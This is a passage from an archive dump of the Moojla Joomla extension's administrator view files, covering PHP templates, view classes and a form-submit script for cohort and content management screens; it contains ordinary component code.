.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COHORT_MCOHORT_LABEL', 'g.name',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo
JText::_('COM_MOOJLA_COHORT_COURSE_GROUP_LABEL'); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COHORT_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_COHORT_STATUS'); ?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COHORT_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
	</th>
</tr>views/cohorts/tmpl/default_toolbar.php000064400000007052151165724410014227
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Cohorts'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/cohorts/tmpl/index.html000064400000000054151165724410012340
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/cohorts/view.html.php000064400000020356151165724410012024
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Cohorts
 */
class MoojlaViewCohorts extends JViewLegacy
{
	/**
	 * Cohorts view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('cohorts');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('cohort');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_COHORTS'),
'joomla');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=cohorts');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('cohort.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('cohort.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('cohorts.publish');
				JToolBarHelper::unpublishList('cohorts.unpublish');
				JToolBarHelper::archiveList('cohorts.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('cohorts.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('', 'cohorts.delete',
'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('cohorts.trash');
			}
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('cohorts');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load Mcohort Name batch if create, edit, and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Mcohort Name Selection
			$this->mcohortNameOptions =
JFormHelper::loadFieldType('Mcohort')->options;
			// We do some sanitation for Mcohort Name filter
			if (MoojlaHelper::checkArray($this->mcohortNameOptions) &&
				isset($this->mcohortNameOptions[0]->value) &&
				!MoojlaHelper::checkString($this->mcohortNameOptions[0]->value))
			{
				unset($this->mcohortNameOptions[0]);
			}
			// Mcohort Name Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_COHORT_MCOHORT_LABEL').'
-',
				'batch[mcohort]',
				JHtml::_('select.options', $this->mcohortNameOptions,
'value', 'text')
			);
		}

		// Only load Course Group Title batch if create, edit, and batch is
allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Course Group Title Selection
			$this->course_groupTitleOptions =
JFormHelper::loadFieldType('Customusergroup')->options;
			// We do some sanitation for Course Group Title filter
			if (MoojlaHelper::checkArray($this->course_groupTitleOptions)
&&
				isset($this->course_groupTitleOptions[0]->value) &&
				!MoojlaHelper::checkString($this->course_groupTitleOptions[0]->value))
			{
				unset($this->course_groupTitleOptions[0]);
			}
			// Course Group Title Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_COHORT_COURSE_GROUP_LABEL').'
-',
				'batch[course_group]',
				JHtml::_('select.options',
$this->course_groupTitleOptions, 'value', 'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_COHORTS'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/cohorts.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'g.name' =>
JText::_('COM_MOOJLA_COHORT_MCOHORT_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/content/submitbutton.js000064400000002744151165724410012465
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('content, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/content/tmpl/edit.php000064400000011132151165724410011771
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'contentTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'contentTab', 'details',
JText::_('COM_MOOJLA_CONTENT_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<?php echo JLayoutHelper::render('content.details_left',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'contentTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'contentTab', 'publishing',
JText::_('COM_MOOJLA_CONTENT_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('content.publishing',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('content.publlshing',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'contentTab', 'permissions',
JText::_('COM_MOOJLA_CONTENT_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="content.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/content/tmpl/index.html000064400000000054151165724410012331
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/content/view.html.php000064400000015213151165724410012011
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Content View class
 */
class MoojlaViewContent extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('content',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_CONTENT_NEW' : 'COM_MOOJLA_CONTENT_EDIT'),
'pencil-2 article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('content.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('content.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('content.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('content.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('content.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('content.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('content.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('content.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('content.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('content.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('content.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('content.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.content',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('content.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('content.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('content');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_CONTENT_NEW' : 'COM_MOOJLA_CONTENT_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/content.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/content/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/contents/index.html000064400000000054151165724410011540
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/contents/tmpl/default.php000064400000005522151165724410012661
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=contents.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'contentList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=contents');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="contentList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_CONTENTS_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/contents/tmpl/default_batch_body.php000064400000002333151165724410015034
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo JText::_('COM_MOOJLA_CONTENTS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/contents/tmpl/default_batch_footer.php000064400000002731151165724410015377
0ustar00<?php
/*----------------------------------------------------------------------------------|
